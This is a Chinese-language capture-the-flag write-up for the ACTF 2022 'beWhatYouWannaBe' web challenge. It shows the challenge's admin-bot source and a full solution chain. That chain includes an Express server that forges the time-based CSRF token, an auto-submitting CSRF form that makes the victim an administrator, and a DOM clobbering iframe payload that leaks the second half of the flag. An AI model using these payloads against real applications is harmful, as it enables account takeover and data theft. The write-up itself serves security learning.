1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 const puppeteer = require ('puppeteer' );const process = require ('process' )const ADMIN_USERNAME = 'admin' const ADMIN_PASSWORD = process.env .password const FLAG = require ('./config' ).FLAG const view = async (url ) => { const browser = await puppeteer.launch ({ headless : true , args : ['--no-sandbox' , '--disable-setuid-sandbox' ] }) const page = await browser.newPage () await page.goto ('http://localhost:8000/login' ) await page.type ("#username" , ADMIN_USERNAME ) await page.type ("#password" , ADMIN_PASSWORD ) await page.click ('#btn-login' ) await page.goto (url, { timeout : 5000 }) await page.setJavaScriptEnabled (false ) await page.goto (url, { timeout : 5000 }) const data = await page.evaluate((url, FLAG ) => { if (fff.lll .aaa .ggg .value == "this_is_what_i_want" ) { return fetch (url + '?part2=' + btoa (encodeURIComponent (FLAG .substring (16 )))); } else { return fetch (url + '?there_is_no_flag' ) } }, url, FLAG ) await browser.close () } exports .view = view
1 2 3 4 const FLAG = "ACTF{*****************************}" const FAKE_FLAG = "only_admin_users_can_see_the_true_flag" exports .FLAG = FLAG exports .FAKE_FLAG = FAKE_FLAG
其实这一题不难,思路很清晰,前半段flag在/flag路由,首先你得是管理员,并且题目为我们提供了一个/beAdmin成为管理员的接口和一个可以进行CSRF的/admin接口,因此思路是利用CSRF先成为admin获取前半段flag 至于后半段flag,假如admin跳转过后的页面通过dom获取的fff.lll.aaa.ggg.value == "this_is_what_i_want"
那么就可以获取后半段flag 因此先解决前半段的问题,想要进行csrf还有一个问题就是token,仔细看这个token: 他是利用当前的date生成的,因此完全是可以自己伪造的,首先起一个恶意的express服务器,用于进行CSRF:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 const express = require ('express' );const app= express ();const http = require ('http' );const crypto = require ('crypto' )app.set ('view engine' , 'ejs' ) app.get ('/' , (req, res )=> { var sha256 = crypto.createHash ('sha256' ); var time = Date .now ()-2 ; var time2 = Math .floor (time / 1000 )-1 ; var time3 = Math .sin (time2).toString () var token = sha256.update (time3).digest ('hex' ); console .log (`time:${time} ` ); console .log (`time2:${time2} ` ); console .log (`time3:${time3} ` ); console .log (`token:${token} ` ); console .log ("-------------" ); console .log (token); res.render ('test' , { name : token }) }); app.listen (8083 , ()=> { console .log ('Server is running at http://localhost:8083' ) })
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <script> window.onload=function(){ document.getElementById("postsubmit").click(); } </script> <body> <form method="post" action="http://localhost:8000/beAdmin"> <input id="u" type="text" name="csrftoken" value="<%=name%>"> <input id="m" type="text" name="username" value="kino"> <input id="postsubmit" type="submit" name="" value=""> </form> </body> </html>
获得第一个flag,这里获得第一个flag的时候需要注意那个token生成的时间差,需要自己debug,这一点巨恶心 然后第二个flag直接利用dom破坏:https://zhuanlan.zhihu.com/p/131314826
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Title</title > </head > <body > <iframe name =fff srcdoc =" <iframe srcdoc='<input id=aaa name=ggg href=cid:Clobbered value=this_is_what_i_want>test</input><a id=aaa>' name=lll>" ></iframe > <style > @import '//portswigger.net' ;</style > </body > </html >
在自己vps上放这个文件,然后让admin访问就好了:
参考:https://www.leavesongs.com/PENETRATION/goahead-en-injection-cve-2021-42342.html https://github.com/l3s10n/My-CTF-Challenges-In-ACTF2022/blob/main/writeup/ToLeSion_zh.md https://blog.rois.io/2022/actf2022-writeup/ https://zhuanlan.zhihu.com/p/131314826 http://www.yongsheng.site/2022/06/30/AAActf/ https://igml.top/2022/02/20/TQLCTF2022/ https://ek1ng.com/ACTF2022.html#beWhatYouWannaBe